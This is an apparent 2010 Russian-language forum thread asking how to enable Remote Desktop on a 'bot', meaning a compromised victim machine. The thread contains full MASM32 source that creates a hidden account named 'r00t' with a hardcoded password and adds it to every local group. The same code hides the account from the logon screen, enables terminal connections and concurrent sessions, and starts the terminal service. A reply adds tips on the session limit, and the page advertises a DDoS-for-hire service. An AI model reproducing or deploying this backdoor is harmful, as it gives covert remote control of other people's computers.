Как поднять RD на машине бота? - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Бесплатные прокси уже в Telegram
Все инфопродукты и приватная информация бесплатно
Старый 24.08.2010, 10:40   #1 (permalink)
HTTP
 
Аватар для glts
 
Регистрация: 21.07.2010
Сообщений: 28
Member ID: 8655

Репутация: 31
Репутация: 31
Сказал(а) спасибо: 4
Поблагодарили 29 раз(а) в 21 сообщениях
Топикстартер (автор темы) Сообщение Как поднять RD на машине бота?

Приветствую, возникла необходимость поднятия РД (ремоут десктоп) на машине бота, на вин платформах..
Подскажите как это реализовать на asm or c++ посредством winapi функций, возможно ли это? может есть у кого какие то наброски? мне очень актуально...
можно в аську: 611778629
glts вне форума   Ответить с цитированием
Старый 24.08.2010, 11:49   #2 (permalink)
HTTP
 
Регистрация: 08.02.2010
Сообщений: 12
Member ID: 6486

Репутация: 20
Репутация: 20
Сказал(а) спасибо: 3
Поблагодарили 16 раз(а) в 7 сообщениях
По умолчанию Re: Как поднять RD на машине бота?

система какая?
__________________
© CodingWorld.Ru
CraftR14 вне форума   Ответить с цитированием
Старый 25.08.2010, 10:30   #3 (permalink)
HTTP
 
Аватар для glts
 
Регистрация: 21.07.2010
Сообщений: 28
Member ID: 8655

Репутация: 31
Репутация: 31
Сказал(а) спасибо: 4
Поблагодарили 29 раз(а) в 21 сообщениях
Топикстартер (автор темы) По умолчанию Re: Как поднять RD на машине бота?

Cистема на машине бота? XP/Vista/Win7

Добавлено через 21 час 27 минут 58 секунд

Дело сдвинулось, нашел некоторые материалы, думаю кому-то может быть полезно тоже, выложу тут..

MASM32 от dr.Pilulkin:

Код:
.586
.model flat,stdcall
option casemap:none

   
   include windows.inc
   include kernel32.inc
   include shell32.inc
   include netapi32.inc
   include advapi32.inc
   include oleaut32.inc
 
   
   includelib kernel32.lib
   includelib shell32.lib
   includelib netapi32.lib
   includelib advapi32.lib
   includelib oleaut32.lib
   

   
.data

wzUser dw "r","0","0","t",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
wzPass dw "t","0","0","r",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
pwzUser dd offset wzUser
d1 dd 0
Err dd 0
Ginfo LOCALGROUP_INFO_1 <0>
Uinfo USER_INFO_1 <0>
Eread dd 0
Etotal dd 0

hKey dd 0
szTerm db "SYSTEM\CurrentControlSet\Control\Terminal Server",0
szLic db "SYSTEM\\CurrentControlSet\Control\Terminal Server\Licensing Core",0
szSacc db "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis  t",0
szUsr db "r00t",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szVal db "fDenyTSConnections",0
szSes db "EnableConcurrentSessions",0
szSrvc db "TermService",0
Zer dd 0
One dd 1
Scm dd 0
Srvc dd 0
Sstat SERVICE_STATUS <0>
Sconf QUERY_SERVICE_CONFIG <0>
bneed dd ?

advpack db "advpack.dll",0
IsAdmin db "IsNTAdmin",0
_IsNTAdmin dd ?
hLib dd ?
szWin db MAX_PATH dup(?)

.code
start:
    
;NT Root
;=================================================  =========================
;Проверка на привилегии
;=======================
	invoke LoadLibrary,addr advpack
	mov hLib,eax
	invoke GetProcAddress,hLib,addr IsAdmin
	mov _IsNTAdmin,eax
	push 0
	push 0
	call _IsNTAdmin
    .if eax == 0
    	jmp error
    .endif
;================================
; Заполняем структуру пользователя
;================================    
	mov Uinfo.usri1_name,offset wzUser
	mov Uinfo.usri1_password,offset wzPass
	mov Uinfo.usri1_priv,USER_PRIV_USER
	mov Uinfo.usri1_flags,UF_SCRIPT or UF_DONT_EXPIRE_PASSWD
	
;================================
; Удаляем добавляем пользователя
;================================
	invoke NetUserDel,NULL,addr wzUser
	
	invoke NetUserAdd,NULL,1,addr Uinfo,addr Err
	cmp eax,0
	jne error
;================================
; Перечисляем группы
;================================	
	invoke NetLocalGroupEnum,0,1,addr Ginfo,0fffffffh,addr Eread,addr Etotal,0
	cmp eax,0
	jne error
	
	mov ecx,Eread
go: push ecx

	mov edx,dword ptr [Ginfo]
	mov edx,dword ptr [edx+ecx*8-8]
;=====================================
; Добавляем пользователя во все группы
;=====================================	
	invoke NetLocalGroupAddMembers,NULL,edx,3,addr pwzUser,1
	pop ecx
	loop go
	
	invoke NetApiBufferFree,addr Ginfo
;============================================
; Добавляем пользователя в состав специальных
;============================================	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szSacc,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szUsr,0,REG_DWORD,addr Zer,sizeof Zer
	invoke RegCloseKey,hKey
;============================================
; Разрешаем терминальные подключения
;============================================	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szTerm,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szVal,0,REG_DWORD,addr Zer,sizeof Zer
	invoke RegCloseKey,hKey
	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szLic,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szSes,0,REG_DWORD,addr One,sizeof One
	invoke RegCloseKey,hKey
	
	invoke OpenSCManager,0,0,SC_MANAGER_CONNECT
	mov Scm,eax
	invoke OpenService,Scm,addr szSrvc,SERVICE_START or SERVICE_QUERY_STATUS or SERVICE_CHANGE_CONFIG
	mov Srvc,eax
;============================================
; Запрашивем статус сервиса терминалов
;============================================
	invoke QueryServiceConfig,Srvc,NULL,0,addr bneed
	invoke QueryServiceConfig,Srvc,addr Sconf,bneed,addr bneed
	cmp Sconf.dwStartType,SERVICE_AUTO_START
	je autok
	invoke ChangeServiceConfig,Srvc,-1,SERVICE_AUTO_START,-1,0,0,0,0,0,0,0
autok:
	invoke QueryServiceStatus,Srvc,addr Sstat
	cmp Sstat.dwCurrentState,SERVICE_RUNNING
;=============================================
; Если на запушен запускаем
;=============================================
	je stnreq
	invoke StartService,Srvc,0,0
stnreq:	
	invoke CloseServiceHandle,Scm
	
	
ok:	invoke ExitProcess,0
error: invoke ExitProcess,1
end start
glts вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 27.08.2010, 01:23   #4 (permalink)
HTTP
 
Регистрация: 08.02.2010
Сообщений: 12
Member ID: 6486

Репутация: 20
Репутация: 20
Сказал(а) спасибо: 3
Поблагодарили 16 раз(а) в 7 сообщениях
По умолчанию Re: Как поднять RD на машине бота?

Вин старше ХР не оч удобно, придется тащить библу от 2003 тачки, так как если ты залогинишься, второго юзера выкинет.
я делал батник с добавлением юзера и самой библой, если найду то выложу

да и еще, ребут нужен будет полюбому
__________________
© CodingWorld.Ru

Последний раз редактировалось CraftR14; 27.08.2010 в 01:26.
CraftR14 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Поднять VPN maxteam Работа с дедиками 4 25.07.2010 16:36




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.